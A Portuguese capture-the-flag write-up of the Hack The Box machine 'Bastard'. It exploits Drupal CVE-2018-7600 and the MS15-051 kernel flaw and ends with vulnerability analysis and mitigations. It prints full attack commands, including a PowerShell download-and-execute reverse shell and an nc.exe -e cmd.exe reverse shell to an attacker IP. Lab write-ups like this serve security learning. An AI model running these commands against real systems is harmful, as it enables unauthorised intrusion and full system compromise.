Bastard - HTB Medium Machine - Português Brasil
Sobre
Bastard não é muito desafiador, mas exige algum conhecimento de PHP para adaptar e usar a prova de conceito necessária ao ponto de entrada. A máquina ilustra bem o impacto que vulnerabilidades em sistemas de gerenciamento de conteúdo podem ter.
Exploração
Enumeração
O scan com nmap revelou apenas a porta HTTP 80 aberta e identificou o sistema como Windows. O nmap também listou vários diretórios como disallowed.
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 7.5
|_http-title: Welcome to Bastard | Bastard
|_http-server-header: Microsoft-IIS/7.5
|_http-generator: Drupal 7 (http://drupal.org)
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_/LICENSE.txt /MAINTAINERS.txt
| http-methods:
|_ Potentially risky methods: TRACE
135/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Ao vasculhar os diretórios apontados como disallowed, encontrei o CHANGELOG.txt, que traz informações úteis sobre a versão do Drupal em execução.
Ao pesquisar a versão, encontrei a CVE-2018-7600. Trata-se de uma falha que permite execução remota de código por conta de validação inadequada de entradas em vários subsistemas do Drupal.
Note
A vulnerabilidade explora a validação de entrada no Form API do Drupal, especificamente em arrays de renderização (renderable arrays) usados para construir elementos da interface. Um atacante remoto não autenticado pode enviar uma requisição HTTP especialmente manipulada (por exemplo usando parâmetros com '#') para injetar e executar código PHP no servidor. Funções de callback como #post_render, #pre_render, #access_callback e #lazy_builder, se não forem devidamente sanitizadas, podem permitir chamadas perigosas como exec, system ou eval.
Essa imagem do cwe mitre ilustra o conceito da vulnerabilidade.
Voltando à exploração: existe um script que permite executar comandos remotamente. Por padrão ele tenta rodar id (que não retorna nada em Windows). Usando a flag -c "whoami" é possível confirmar que o injection funciona.
┌── ➤ CVE-2018-7600
└─ [master]$ python3 drupa7-CVE-2018-7600.py http://10.10.10.9 -c "whoami"
=============================================================================
| DRUPAL 7 <= 7.57 REMOTE CODE EXECUTION (CVE-2018-7600) |
| by pimps |
=============================================================================
[*] Poisoning a form and including it in cache.
[*] Poisoned form ID: form-_BV2OTkKaLQw0hyUdFkOOWAQKpvO_Vli3saDkPcCm2k
[*] Triggering exploit to execute: whoami
nt authority\iusr
Com objetivo de aprender um pouco mais sobre rust eu reescrevi esse payload na linguagem e vou utiliza-lo no próximo tópico, e recomendo você a fazer o mesmo com a sua linguagem de preferencia, pois isso ajuda a entender a vulnerabilidade e evoluir como desenvolvedor.
Ponto de Entrada
Com o exploit funcionando, executei os passos para obter um shell remoto no Windows.
Usei um comando PowerShell que baixa e executa o Invoke-PowerShellTcp.ps1, retornando um shell reverso.
┌── ➤ cve-2018-7600
└─ [master]$ cargo run -- -u http://10.10.10.9 -c "powershell iex(New-ObjectNet.WebClient).DownloadString('http://10.10.16.10:8001/Invoke-PowerShellTcp.ps1'); Invoke-PowerShellTcp -Reverse -IPAddress 10.10.16.10 -Port 9002"
=============================================================================
| DRUPAL 7 <= 7.57 REMOTE CODE EXECUTION (CVE-2018-7600) |
=============================================================================
[*] Poisoning a form and including it in cache.
[*] Poisoned form ID: form-yRQTHazLb6DG6enkzj0W6d1yCPlziz7WukAWdziN7ig
[*] Triggering exploit to execute: powershell iex(New-Object Net.WebClient).DownloadString('http://10.10.16.10:8001/Invoke-PowerShellTcp.ps1'); Invoke-PowerShellTcp -Reverse -IPAddress 10.10.16.10 -Port 9002
No meu listener recebi o shell. O comando whoami confirma que o processo roda como nt authority\iusr.
nc -lvnp 9002
Listening on 0.0.0.0 9002
Connection received on 10.10.10.9 59675
Windows PowerShell running as user BASTARD$ on BASTARD
Copyright (C) 2015 Microsoft Corporation. All rights reserved.
PS C:\inetpub\drupal-7.54>whoami
nt authority\iusr
Tip
Se quiser ver esse processo em mais detalhes, confira a seção do cookbook.
USER
Com acesso remoto como nt authority\iusr, explorei o sistema e encontrei uma conta de usuário cujo desktop contém a primeira flag.
PS C:\Users\dimitris\Desktop> type user.txt
56d58461fef5d6e.....
Escalação de Privilégios
Não consegui executar Sherlock, Watson nem winPEAS na máquina; por isso fiz enumeração manual. O comando systeminfo mostra que o kernel é antigo.
PS C:\inetpub\drupal-7.54> systeminfo
Host Name: BASTARD
OS Name: Microsoft Windows Server 2008 R2 Datacenter
OS Version: 6.1.7600 N/A Build 7600
OS Manufacturer: Microsoft Corporation
OS Configuration: Standalone Server
OS Build Type: Multiprocessor Free
Registered Owner: Windows User
Registered Organization:
Product ID: 55041-402-3582622-84461
Original Install Date: 18/3/2017, 7:04:46 ??
System Boot Time: 20/9/2025, 11:54:43 ??
System Manufacturer: VMware, Inc.
System Model: VMware Virtual Platform
System Type: x64-based PC
Processor(s): 2 Processor(s) Installed.
[01]: AMD64 Family 25 Model 1 Stepping 1 Authentic
AMD ~2595 Mhz
[02]: AMD64 Family 25 Model 1 Stepping 1 Authentic
AMD ~2595 Mhz
BIOS Version: Phoenix Technologies LTD 6.00, 12/11/2020
Windows Directory: C:\Windows
System Directory: C:\Windows\system32
Boot Device: \Device\HarddiskVolume1
System Locale: el;Greek
Input Locale: en-us;English (United States)
Time Zone: (UTC+02:00) Athens, Bucharest, Istanbul
Total Physical Memory: 2.047 MB
Available Physical Memory: 1.551 MB
Virtual Memory: Max Size: 4.095 MB
Virtual Memory: Available: 3.575 MB
Virtual Memory: In Use: 520 MB
Page File Location(s): C:\pagefile.sys
Domain: HTB
Logon Server: N/A
Hotfix(s): N/A
Network Card(s): 1 NIC(s) Installed.
[01]: Intel(R) PRO/1000 MT Network Connection
Connection Name: Local Area Connection
DHCP Enabled: No
IP address(es)
[01]: 10.10.10.9
Diante do kernel antigo, testei alguns payloads do repositório 51x/WHP, que reúne exploits de kernel para elevação de privilégios. Um dos alvos compatíveis é a vulnerabilidade MS15-051 (Win32k LPE), que afeta versões antigas como Windows Server 2003 SP2, Windows Vista SP2, Windows Server 2008 SP2 e Windows 7 SP1.
Foi difícil achar um payload estável, pois muitos exigem pré-condições com credências, que não tenho. No entanto, encontrei um executável no repositório SecWiki/windows-kernel-exploits que explora a falha e permite executar comandos como nt authority\system.
Para usar esse exploit, primeiro iniciei um servidor SMB para hospedar o binário e os payloads.
└─ $ mkdir smb
└─ $ sudo smbserver.py share smb
/usr/lib/python3.13/site-packages/impacket/version.py:12: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools<81.
import pkg_resources
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
Testando o exploit com whoami é possível ver que o comando é executado como nt authority\system.
PS C:\inetpub\drupal-7.54> \\10.10.16.10\share\ms15-051x64.exe "whoami"
nt authority\system
Para obter um shell reverso usei nc.exe, que permite invocar cmd.exe e conectar a um listener remoto.
└─ $ locate nc.exe
/usr/share/seclists/Web-Shells/FuzzDB/nc.exe
Copiei o nc.exe para o diretório do SMB:
└─ $ cp /usr/share/seclists/Web-Shells/FuzzDB/nc.exe smb
Em seguida executei o payload apontando para o nc.exe e solicitando uma conexão reversa para minha máquina.
PS C:\inetpub\drupal-7.54> \\10.10.16.10\share\ms15-051x64.exe "\\10.10.16.10\share\nc.exe -e cmd.exe 10.10.16.10 9003"
Consegui o shell reverso como nt authority\system, o que me deu acesso total à máquina.
└─ $ nc -lvnp 9003
Listening on 0.0.0.0 9003
Connection received on 10.10.10.9 59677
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\inetpub\drupal-7.54>whoami
whoami
nt authority\system
Tip
Se quiser ver esse processo em mais detalhes, confira a seção do cookbook.
ROOT
Por fim, acessei a área de trabalho do usuário Administrator e peguei a flag final.
C:\Users\Administrator\Desktop>type root.txt
type root.txt
7f3205d903895.....
Análise de Vulnerabilidades
Drupal RCE (CVE-2018-7600): o site executa uma versão do Drupal vulnerável que permite envio de entradas especialmente manipuladas a Form API, resultando em execução remota de código. No writeup esse vetor foi identificado a partir da versão encontrada no CHANGELOG e explorado com um exploit que injeta payloads, levando a execução de comandos com o contexto do serviço web (comprometimento de integridade e confidencialidade, possibilidade de pivot e persistência).
Divulgação de versão / informação sensível: arquivos expostos (ex.:
CHANGELOG.txte entradas emrobots.txt) revelaram a versão do Drupal e diretórios restritos, facilitando a identificação de exploits aplicáveis. Isso reduz o tempo do atacante para escalonar a exploração.Configuração HTTP insegura (métodos/headers): o servidor responde com métodos potencialmente arriscados (TRACE) e divulga cabeçalhos e metadados que ajudam a fingerprint do ambiente. Essas informações aumentam a superfície de ataque e permitem técnicas de exploração ou fingerprinting mais eficientes.
Elevation of Privilege no kernel Windows (MS15-051): a máquina roda um kernel/patchlevel vulnerável que permite elevar conta limitada a
NT AUTHORITY\SYSTEMvia exploit Win32k. No cenário do writeup o exploit local foi usado para executar binários como SYSTEM, resultando em completa perda de confinamento e risco total ao sistema.Execução remota de ferramentas via download/SMB: a exploração dependia de permitir que o processo web/usuário baixasse e executasse scripts/execuções remotas (PowerShell download e execução, execução de binários via caminho SMB). Isso mostra falta de controles de egress, restrições de execução de scripts e políticas de execução de código provenientes de redes externas.
Mitigação das Vulnerabilidades
Drupal RCE (CVE-2018-7600) Mitigação (para sysadmin/developer): atualizar o Drupal imediatamente para uma versão fixa e aplicar todos os patches de segurança disponíveis. Como mitigação adicional, habilitar um WAF com regras para Drupal, minimizar módulos e temas instalados, e executar o servidor web com o mínimo de privilégios; developers devem revisar pontos de entrada que constroem renderable arrays e evitar callbacks inseguros ou funções que executem código arbitrário.
Divulgação de versão / informação sensível Mitigação (sysadmin): remover ou proteger arquivos como
CHANGELOG.txt,INSTALL*.txte similares do webroot (ou negar acesso via configuração do servidor). Padronizarrobots.txtpara não listar caminhos sensíveis e suprimir detalhes de versão em páginas públicas/headers.Configuração HTTP insegura Mitigação (sysadmin): desabilitar métodos HTTP desnecessários (como TRACE) no IIS e reduzir exposição de cabeçalhos que informam versão/tecnologia. Aplicar hardening do servidor web (guides do fornecedor), habilitar logging e alertas para tentativas de uso de métodos incomuns.
Elevation of Privilege (MS15-051) Mitigação (sysadmin): aplicar patches do Windows e manter um processo contínuo de gestão de patches; onde possível, habilitar proteção contra execução de binários não autorizados (AppLocker/Windows Defender Application Control) e restringir execução a partir de shares de rede. Monitore criação de processos privilegiados e eventos de escalonamento; isolar servidores críticos da execução de código não verificado.
Execução remota (PowerShell / SMB) Mitigação (sysadmin): restringir egress (bloquear downloads diretos de hosts não aprovados), aplicar regras de firewall de saída, e usar GPO para limitar execução do PowerShell (constrained language mode, habilitar ScriptBlockLogging/AMSI). Evitar permitir execução direta de executáveis a partir de shares anônimos e habilitar assinatura/aprovação de binários.
Notas
Se gostou desse writeup, me envie um respect no meu perfil do hackthebox. Eu ficaria muito feliz em saber que estou te ajudando em algo.
Se algo escrito aqui não estiver claro, recomendo consultar a seção cookbook. Se não encontrar a resposta ou precisar de mais esclarecimentos, entre em contato pelo email.
Referências
the master 0xdf
drupalgeddon2
cve-2018-7600
NIST CVE-2018-7600
CWE 20
NIST CVE-2015-1701
MS15-051-KB3045171
PayloadWHP